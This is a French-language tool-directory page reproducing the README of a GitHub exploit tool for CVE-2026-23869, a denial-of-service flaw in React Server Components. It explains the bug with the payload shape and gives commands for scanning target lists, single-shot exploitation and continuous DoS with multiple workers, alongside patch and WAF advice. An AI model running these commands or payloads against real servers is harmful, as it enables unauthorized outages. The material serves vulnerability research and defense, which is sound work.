Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Outil d'exploitation automatisé pour CVE-2026-23869, un DoS distant dans React Server Components. Inclut un PoC, un modèle Nuclei et des scripts de scan pour la détection et l'exploitation.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
81il y a 4 moisPas encore vérifié
Partager

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Déni de service distant non authentifié via le protocole Flight de React
Épuisement quadratique du CPU lors de la désérialisation de Map dans les Server Components

Vue d'ensemble • Fonctionnement • Outils • Installation • Utilisation • Nuclei • Correctif • Avertissement


Vue d'ensemble de la vulnérabilité

ChampDétail
ID CVECVE-2026-23869
AliasReact2DoS
Score CVSS7.5 (Élevé)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Consommation de ressources non contrôlée)
TypeDéni de service distant non authentifié
Découvert parYohann Sillam (Imperva Threat Research)
Affectéreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
CorrigéReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Une vulnérabilité critique de déni de service existe dans la désérialisation du protocole Flight des Server Components de React. Un attaquant non authentifié peut envoyer une seule requête HTTP malveillante à n'importe quel point de terminaison Server Action de l'App Router de Next.js, provoquant un épuisement quadratique O(n²) du CPU qui verrouille le serveur pendant plusieurs minutes.

Références

  • Avis officiel de Vercel
  • Analyse technique d'Imperva — « React2DoS »
  • Correctif React PR #36236
  • Entrée NVD

Fonctionnement

Le bug : indicateur consumed manquant lors de la désérialisation de Map

Le protocole Flight de React utilise des marqueurs spéciaux pour sérialiser les types de données. $Q représente un objet Map. Lorsque le serveur reçoit une charge utile contenant des marqueurs $Q0 auto-référencés :

root@kitploit:~
Charge utile : [ [1,1], [1,1], ...(n entrées valides)..., "$Q0", "$Q0", ...(n références)... ]

Chaque $Q0 déclenche un constructeur new Map() qui itère sur toutes les n entrées valides. Le constructeur Map lève une erreur (car les entrées sont malformées), mais le bug critique est le suivant : l'indicateur consumed n'est jamais défini en cas d'échec.

Cela signifie que le $Q0 suivant recalcule exactement le même Map à partir de zéro → créant une complexité O(n²) :

root@kitploit:~
n entrées valides × n références $Q0 = n² appels au constructeur Map

Exemple : 65 000 × 65 000 = 4 225 000 000 opérations
Résultat : une seule requête verrouille le CPU pendant 5 à 10+ minutes

Flux d'attaque

root@kitploit:~
┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Attaquant │ ──────────────────────────────────────▶ │  Serveur Next.js │
│          │     En-tête : Next-Action: <action_id>   │                  │
│          │     Corps : [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% VERROUILLÉ  │
└──────────┘                                        │  pendant ~5-10 min│
                                                    └──────────────────┘

Code vulnérable (avant correctif)

root@kitploit:~
// ReactFlightReplyServer.js — AVANT correctif
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Échoue mais ne définit pas consumed = true
                         //   Le $Q0 suivant recalcule à partir de zéro
}

Code corrigé (après correctif)

root@kitploit:~
// ReactFlightReplyServer.js — APRÈS correctif (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Correctif : définit l'indicateur AVANT la construction
  return new Map(data);  //   Empêche le recalcul répété
}

Outils inclus

FichierDescription
poc.py

Installation

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Installer la dépendance Python
pip install requests

# Rendre les scripts exécutables
chmod +x poc.py scan.sh extract-action-ids.sh

Dépendances optionnelles

root@kitploit:~
# Pour le scan avec le modèle Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Pour le filtrage des cibles actives
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Utilisation

🔥 Scan automatique complet (cible unique)

Fournissez simplement l'URL — l'outil fait tout automatiquement :

root@kitploit:~
python3 poc.py -u https://target.com

Ce qui se passe :

  1. Phase 1 — Recon : Empreinte de Next.js (en-têtes, marqueurs HTML, ID de build)
  2. Phase 2 — Extraction : Recherche des ID de Server Action dans les bundles JS
  3. Phase 3 — Détection : Vérification de vulnérabilité sûre basée sur le timing (sonde de 500 entrées)
  4. Phase 4 — Rapport : Affiche le verdict de vulnérabilité avec analyse des temps de réponse

📋 Scan par lots (plusieurs cibles)

root@kitploit:~
# Scanner une liste de domaines/IP
python3 poc.py -L targets.txt

# Avec sortie de rapport JSON
python3 poc.py -L targets.txt -o results.json

🎯 Mode manuel (ID d'action connu)

root@kitploit:~
# Détection sûre uniquement
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Exploitation en un seul tir
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# DoS continu (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Extraction des ID d'action uniquement

root@kitploit:~
python3 poc.py -u https://target.com --extract

⚙️ Toutes les options

root@kitploit:~
Options :
  -u, --url URL          URL cible (cible unique)
  -L, --list FILE        Fichier contenant les URL/IP cibles (une par ligne)
  -a, --action-id ID     ID de Server Action (ignore l'extraction automatique)
  --detect               Détection uniquement — sûre, non destructive (par défaut)
  --single               Exploitation en un seul tir après détection
  --exploit              DoS continu après détection
  --extract              Extraire uniquement les ID d'action
  -l, --length N         Entrées de la charge utile (par défaut : 130000)
  -w, --workers N        Workers simultanés (par défaut : 5)
  -d, --delay SEC        Délai entre les requêtes (par défaut : 1.0)
  -o, --output FILE      Enregistrer le rapport JSON
  -t, --threads N        Cibles simultanées pour le scan de liste (par défaut : 3)

Rétrocompatibilité

La syntaxe originale du PoC fonctionne toujours :

root@kitploit:~
python3 poc.py <ACTION_ID> <URL>

Modèle Nuclei

Scan rapide

root@kitploit:~
# Cible unique
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# Plusieurs cibles
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# Sortie propre (uniquement les résultats vulnérables)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

Remarque : L'indicateur -itags dos est obligatoire car Nuclei exclut les modèles DoS par défaut pour des raisons de sécurité.

Flux de détection du modèle

root@kitploit:~
Requête 1 (GET /)     →  Empreinte de Next.js (en-têtes + marqueurs HTML)
Requête 2 (GET /)     →  Extraction des ID de Server Action depuis createServerReference()  
Requête 3 (POST /)    →  Requête de référence (charge utile bénigne)
Requête 4 (POST /)    →  Sonde d'exploitation (250 valides + 250 entrées $Q0)
                         └─ Si le temps de réponse ≥ 3 s → VULNÉRABLE

Script de scan automatique

root@kitploit:~
# Exécute httpx → filtre les cibles actives → scan Nuclei → résultats
./scan.sh

# Ou spécifiez des fichiers personnalisés
./scan.sh targets1.txt targets2.txt

Logique de détection

L'outil utilise une détection basée sur le timing pour identifier en toute sécurité les serveurs vulnérables :

Une détection est confirmée lorsque :

  • Le temps de réponse de la sonde est ≥ 3 secondes, OU
  • Le ratio Sonde/Référence est > 5x avec un temps de sonde > 1 seconde

Versions affectées


Correctif

  1. Mettre à niveau React vers la version 19.2.5 ou ultérieure
  2. Mettre à niveau Next.js vers la version 15.5.15 ou 16.2.3 ou ultérieure
  3. Règles WAF : Bloquer les requêtes avec des corps multipart/form-data anormalement volumineux contenant des marqueurs $Q
  4. Limitation de débit : Implémenter des limites de débit sur les points de terminaison Server Action
  5. Surveillance : Alerter en cas d'utilisation élevée du CPU corrélée à des requêtes POST vers /

Structure du projet

root@kitploit:~
CVE-2026-23869-Exploit/
├── README.md                  # Ce fichier
├── poc.py                     # Outil PoC d'exploitation entièrement automatisé
├── CVE-2026-23869.yaml        # Modèle de détection Nuclei
├── scan.sh                    # Auto-scanner httpx + nuclei
└── extract-action-ids.sh      # Extracteur autonome d'ID d'action

Captures d'écran

Scan automatique complet

root@kitploit:~
  ╔══════════════════════════════════════════════════╗
  ║  PHASE 1 ▸ RECONNAISSANCE                       ║
  ╚══════════════════════════════════════════════════╝

  ✓ Next.js détecté (Next.js)
  ✓ ID de build : abc123def456
  ✓ App Router : Server Actions détectés

  ╔══════════════════════════════════════════════════╗
  ║  PHASE 2 ▸ EXTRACTION DES ID D'ACTION           ║
  ╚══════════════════════════════════════════════════╝

  ✓ 3 ID d'action trouvés :
    1. a1b2c3d4e5f6789012345678901234567890abcd
    2. b2c3d4e5f67890123456789012345678901234ef

  ╔══════════════════════════════════════════════════╗
  ║  PHASE 3 ▸ DÉTECTION DE VULNÉRABILITÉ            ║
  ╚══════════════════════════════════════════════════╝

  [1/2] Référence : 0,142 s
  [2/2] Sonde :    7,891 s (55,6x la référence)

  ██ VULNÉRABLE — CVE-2026-23869 CONFIRMÉ ██

Résultats du scan par lots

root@kitploit:~
  ╔══════════════════════════════════════════════════════════════╗
  ║  RÉSULTATS DU SCAN PAR LOTS                                 ║
  ╚══════════════════════════════════════════════════════════════╝

  Scannées     : 150 cibles en 45,2 s
  Vulnérables  : 3
  Corrigées    : 12
  Ignorées     : 135

  🔴 CIBLES VULNÉRABLES
  ─────────────────────────────────────────────────
   #   CIBLE                           SONDE     RATIO
     1  vulnerable-app.com             7,89 s    55,6x
     2  staging.example.com            4,21 s    28,1x
     3  dev.testsite.org              12,33 s    82,2x

Avertissement

⚠️ UNIQUEMENT POUR LES TESTS DE SÉCURITÉ AUTORISÉS

Cet outil est fourni à des fins éducatives et pour des tests d'intrusion autorisés uniquement. Toute utilisation non autorisée de cet outil contre des cibles que vous ne possédez pas ou pour lesquelles vous n'avez pas d'autorisation explicite de test est illégale et peut violer les lois sur la fraude informatique (CFAA, CMA, etc.).

Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par cet outil. Obtenez toujours une autorisation écrite appropriée avant de tester tout système.


Crédits

  • Recherche de vulnérabilité : Yohann Sillam — Imperva Threat Research
  • Développement du PoC : cybertechajju
  • Correctif React : Équipe React de Facebook/Meta

Stars Forks License

Si vous trouvez cela utile, pensez à laisser une ⭐

Télécharger l’outil
Outil d'exploitation entièrement automatisé avec pipeline en 4 phases (Recon → Extraction → Détection → Exploitation)
CVE-2026-23869.yamlModèle de détection Nuclei avec orchestration basée sur les flux
scan.shScript wrapper : filtrage httpx des cibles actives + scan Nuclei
extract-action-ids.shExtracteur autonome d'ID de Server Action
MétriqueVulnérableCorrigé
Référence (requête bénigne)~0,1-0,5 s~0,1-0,5 s
Sonde (500 entrées)3-10+ secondes~0,1-0,5 s
Ratio (Sonde/Référence)>5x~1x
Charge utile complète (130K entrées)5-10+ minutes~0,1-0,5 s
PaquetVulnérableCorrigé
react-server-dom-webpack≤ 19.2.419.2.5+
react-server-dom-parcel≤ 19.2.419.2.5+
react-server-dom-turbopack≤ 19.2.419.2.5+
Next.js< 15.5.1515.5.15+
Next.js 16.x< 16.2.316.2.3+